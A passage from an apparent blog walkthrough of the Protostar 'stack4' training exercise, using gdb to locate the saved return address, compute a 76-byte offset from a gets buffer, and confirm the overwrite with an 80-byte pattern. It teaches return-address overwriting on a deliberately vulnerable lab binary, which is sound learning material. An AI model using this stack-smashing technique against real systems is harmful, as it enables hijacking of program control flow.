&lt;h2 id="dynamic-analysis"&gt;Dynamic Analysis&lt;/h2&gt;
&lt;p&gt;Armed with our static analysis so far, we start our dynamic analysis. So, fire up gdb. We know that &lt;code&gt;main&lt;/code&gt; code is like below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;x08048408&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;main&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;gt;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;push&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ebp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;x08048409&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;main&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;gt;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;mov&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ebp&lt;/span&gt;,&lt;span style="color:#66d9ef"&gt;esp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;x0804840b&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;main&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;gt;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;and&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;esp&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0xfffffff0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;x0804840e&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;main&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;gt;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;sub&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;esp&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;0x50&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;x08048411&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;main&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;gt;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;lea&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;eax&lt;/span&gt;,[&lt;span style="color:#66d9ef"&gt;esp&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0x10&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;x08048415&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;main&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;13&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;gt;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;mov&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DWORD&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;PTR&lt;/span&gt; [&lt;span style="color:#66d9ef"&gt;esp&lt;/span&gt;],&lt;span style="color:#66d9ef"&gt;eax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;x08048418&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;main&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;gt;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;call&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0x804830c&lt;/span&gt; &amp;lt;&lt;span style="color:#66d9ef"&gt;gets@plt&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;0&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;x0804841d&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;main&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;21&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;gt;&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;leave&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;0x0804841e&lt;/span&gt; &amp;lt;&lt;span style="color:#66d9ef"&gt;main&lt;/span&gt;+&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;&amp;gt;: &lt;span style="color:#66d9ef"&gt;ret&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;End&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;of&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;assembler&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;dump.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We set breakpoints at few locations like below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; b *0x08048408
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Breakpoint &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; at 0x8048408: file stack4/stack4.c, line 12.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; b *0x08048411
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Breakpoint &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; at 0x8048411: file stack4/stack4.c, line 15.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; b *0x08048418
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Breakpoint &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; at 0x8048418: file stack4/stack4.c, line 15.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; b *0x0804841d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Breakpoint &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; at 0x804841d: file stack4/stack4.c, line 16.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; b *0x0804841e
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Breakpoint &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; at 0x804841e: file stack4/stack4.c, line 16.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, we run the program till the first couple of breakpoints and analyze the registers/stack.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; r
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Starting program: /opt/protostar/bin/stack4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Breakpoint 1, main &lt;span style="color:#f92672"&gt;(&lt;/span&gt;argc&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1, argv&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0xbffff864&lt;span style="color:#f92672"&gt;)&lt;/span&gt; at stack4/stack4.c:12
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;12 stack4/stack4.c: No such file or directory.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; in stack4/stack4.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; info r
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eax 0xbffff864 -1073743772
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ecx 0xb0a7a13f -1331191489
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;edx 0x1 &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ebx 0xb7fd7ff4 -1208123404
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;esp 0xbffff7bc 0xbffff7bc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ebp 0xbffff838 0xbffff838
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;esi 0x0 &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;edi 0x0 &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eip 0x8048408 0x8048408 &amp;lt;main&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eflags 0x200246 &lt;span style="color:#f92672"&gt;[&lt;/span&gt; PF ZF IF ID &lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cs 0x73 &lt;span style="color:#ae81ff"&gt;115&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ss 0x7b &lt;span style="color:#ae81ff"&gt;123&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ds 0x7b &lt;span style="color:#ae81ff"&gt;123&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;es 0x7b &lt;span style="color:#ae81ff"&gt;123&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;fs 0x0 &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gs 0x33 &lt;span style="color:#ae81ff"&gt;51&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Continuing.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Breakpoint 2, main &lt;span style="color:#f92672"&gt;(&lt;/span&gt;argc&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1, argv&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0xbffff864&lt;span style="color:#f92672"&gt;)&lt;/span&gt; at stack4/stack4.c:15
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;15 in stack4/stack4.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; info r
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eax 0xbffff864 -1073743772
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ecx 0xb0a7a13f -1331191489
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;edx 0x1 &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ebx 0xb7fd7ff4 -1208123404
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;esp 0xbffff760 0xbffff760
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ebp 0xbffff7b8 0xbffff7b8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;esi 0x0 &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;edi 0x0 &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eip 0x8048411 0x8048411 &amp;lt;main+9&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eflags 0x200286 &lt;span style="color:#f92672"&gt;[&lt;/span&gt; PF SF IF ID &lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cs 0x73 &lt;span style="color:#ae81ff"&gt;115&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ss 0x7b &lt;span style="color:#ae81ff"&gt;123&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ds 0x7b &lt;span style="color:#ae81ff"&gt;123&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;es 0x7b &lt;span style="color:#ae81ff"&gt;123&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;fs 0x0 &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gs 0x33 &lt;span style="color:#ae81ff"&gt;51&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; x/24x $esp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0xb7eada75
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff770: 0xb7fd7ff4 0x080495ec 0xbffff788 0x080482e8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff780: 0xb7ff1040 0x080495ec 0xbffff7b8 0x08048449
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffff7b8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff7b0: 0x08048430 0x00000000 0xbffff838 0xb7eadc76
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; x/4x $ebp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff7b8: 0xbffff838 0xb7eadc76 0x00000001 0xbffff864
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can see that c runtime (or whatever it is that called the main function even if don&amp;rsquo;t want to get ourselves into what that is) has the base pointer (ebp) as 0xbffff838 and this is preserved at 0xbffff7b8. Then, main updates the current stack pointer (esp) as the new ebp of main. After that, main aligns its esp to 16 byte width, thus wasting 8 bytes and then reserves a further 0x50 (80) bytes for its stack. After all these operations, the salient characteristics of main&amp;rsquo;s stack frame are as below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Current stack top (esp) is 0xbffff760&lt;/li&gt;
&lt;li&gt;Current base pointer (ebp) is 0xbffff7b8&lt;/li&gt;
&lt;li&gt;Main&amp;rsquo;s calling function&amp;rsquo;s ebp is 0xbffff838 and preserved at 0xbffff7b8&lt;/li&gt;
&lt;li&gt;Main&amp;rsquo;s calling function&amp;rsquo;s return address is saved one word before the ebp (as we know as part of the call instruction of calling program). Thus return address is 0xb7eadc76 as we can see at location 0xbffff7bc (previous_ebp + 0x4 = 0xbffff7b8 + 0x4). This address &lt;code&gt;0xbffff7bc&lt;/code&gt; is the one that we want to overwrite with our intended address of &lt;code&gt;win&lt;/code&gt; function so as to execute that instead of main&amp;rsquo;s caller function.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now, run till the next breakpoint.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Continuing.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Breakpoint 3, 0x08048418 in main &lt;span style="color:#f92672"&gt;(&lt;/span&gt;argc&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1, argv&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0xbffff864&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; at stack4/stack4.c:15
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;15 in stack4/stack4.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; x $esp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff760: 0xbffff770
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So we see that the pointer address for storing the input string from &lt;code&gt;gets&lt;/code&gt; is located at 0xbffff770 (since the argument to &lt;code&gt;gets&lt;/code&gt; is the buffer address and it is passed at the top of the stack as we know from previous section). We can see how far away this is from the address we want to overwrite by subtracting it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff7bc - 0xbffff770 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; 0x4C &lt;span style="color:#f92672"&gt;(&lt;/span&gt;or &lt;span style="color:#ae81ff"&gt;76&lt;/span&gt; bytes&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So, we know that the difference between our intended location and input buffer address is 76 bytes, so if we input 80 bytes, the 77th-80th bytes will overwrite the return address. We can now go for the win (pun intended) already but let&amp;rsquo;s continue further to our rest of the breakpoints to confirm our theory.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Continuing.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;12345678901234567890123456789012345678901234567890123456789012345678901234567890&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Breakpoint 4, main &lt;span style="color:#f92672"&gt;(&lt;/span&gt;argc&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0, argv&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0xbffff864&lt;span style="color:#f92672"&gt;)&lt;/span&gt; at stack4/stack4.c:16
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;16 in stack4/stack4.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; x/24x $esp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff760: 0xbffff770 0xb7ec6165 0xbffff778 0xb7eada75
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff770: 0x34333231 0x38373635 0x32313039 0x36353433
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff780: 0x30393837 0x34333231 0x38373635 0x32313039
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff790: 0x36353433 0x30393837 0x34333231 0x38373635
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff7a0: 0x32313039 0x36353433 0x30393837 0x34333231
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0xbffff7b0: 0x38373635 0x32313039 0x36353433 0x30393837
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; info r $ebp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ebp 0xbffff7b8 0xbffff7b8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Continuing.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Breakpoint 5, 0x0804841e in main &lt;span style="color:#f92672"&gt;(&lt;/span&gt;argc&lt;span style="color:#f92672"&gt;=&lt;/span&gt;Cannot access memory at address 0x3635343b
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; at stack4/stack4.c:16
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;16 in stack4/stack4.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt; info r $ebp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ebp 0x36353433 0x36353433
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;gdb&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We continue and enter an 80 byte long pattern and can see the repeated pattern visible on the stack and the last 4 bytes &lt;code&gt;7890&lt;/code&gt; (0x30393837 in little endian hex format) have overwritten the address. We also see that if we stop after the &lt;code&gt;leave&lt;/code&gt; instruction, the value 0x36353433 from address 0xbffff7b8 has been popped back into ebp.&lt;/p&gt;
&lt;p&gt;Now, we find out the address of the &lt;code&gt;win&lt;/code&gt; function and use its address as the last 4 bytes in an 80 byte input to the program to crack it.&lt;/p&gt;
